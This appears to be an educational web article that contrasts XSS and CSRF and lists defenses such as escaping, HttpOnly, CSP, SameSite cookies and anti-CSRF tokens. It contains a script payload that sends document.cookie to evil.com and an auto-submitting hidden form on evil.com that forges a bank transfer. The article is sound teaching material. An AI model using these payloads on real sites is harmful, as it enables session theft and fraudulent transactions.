XSS vs CSRF: stealing identity vs abusing it
XSS executes malicious code inside your user's browser. CSRF tricks your user's browser into making requests they never wanted. The key difference in one line.
Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) are frequently confused because both exploit browser mechanics and sessions.
The difference in one sentence:
- XSS (Cross-Site Scripting): An attacker injects code into your page to steal identity (tokens, keystrokes, session data).
- CSRF (Cross-Site Request Forgery): An attacker tricks the browser into sending requests to your server to abuse an existing session.
XSS: Attacker injects JavaScript ──> Executes in victim's browser ──> Exfiltrates data
CSRF: Attacker creates hidden form ──> Browser attaches real cookie ──> Executes unwanted action
How XSS works (Code execution)
XSS happens when your application takes untrusted user input and renders it directly into the HTML DOM without sanitizing or escaping:
<!-- Vulnerable comment section -->
<div>Hello, <%- userComment %></div>
If a user submits:
<script>fetch('https://evil.com/steal?c=' + encodeURIComponent(document.cookie))</script>
When another user views that page, their browser executes the injected script with full access to localStorage, session storage, and unprotected cookies.
XSS Defenses:
- Context-aware HTML escaping (built-in by default in React, Astro, Vue, Svelte).
HttpOnlycookies: Prevents JavaScript from reading session identifiers viadocument.cookie.- Content Security Policy (CSP): Disallows inline scripts (
unsafe-inline) and restricts script execution to whitelisted domains.
How CSRF works (Session riding)
CSRF does not require executing JavaScript on your website. Instead, the attacker hosts a malicious website with a hidden form pointing to your API:
<!-- Hosted on evil.com -->
<form action="https://your-bank.com/api/transfer" method="POST" id="hack">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="5000" />
</form>
<script>document.getElementById('hack').submit();</script>
If a victim is logged into your-bank.com in another tab and visits evil.com, their browser automatically attaches their session cookies to the POST request. Unless the bank checks for anti-CSRF tokens, the server executes the transfer.
CSRF Defenses:
SameSite=LaxorSameSite=StrictCookie attribute: Tells the browser not to send cookies on cross-site subrequests.- Anti-CSRF Tokens (Synchronizer Token Pattern): A cryptographically random token tied to the user’s session and embedded in state-changing forms/headers.
- Custom request headers (e.g.
X-Requested-With,X-CSRF-Token): Browsers cannot send custom headers across origins without passing a CORS preflight check.
Direct Comparison
| Dimension | XSS (Cross-Site Scripting) | CSRF (Cross-Site Request Forgery) |
|---|---|---|
| What happens | Malicious JavaScript runs on your site | Unwanted HTTP request sent to your site |
| Target of attack | The user viewing the page | The server handling the request |
| What attacker gets | User credentials, private data, full DOM access | State-changing action executed on behalf of victim |
| Primary Defense | HTML escaping, CSP, HttpOnly | SameSite=Lax cookies, CSRF tokens |
Test Your Understanding
Quick architectural scenario challenge based on this breakdown.
A security audit identifies vulnerability vectors in a banking dashboard application.
Q1.What is the key difference in how an attacker executes XSS versus CSRF?
Comments –
Sign in to share your thoughts
Nothing yet. Be the first.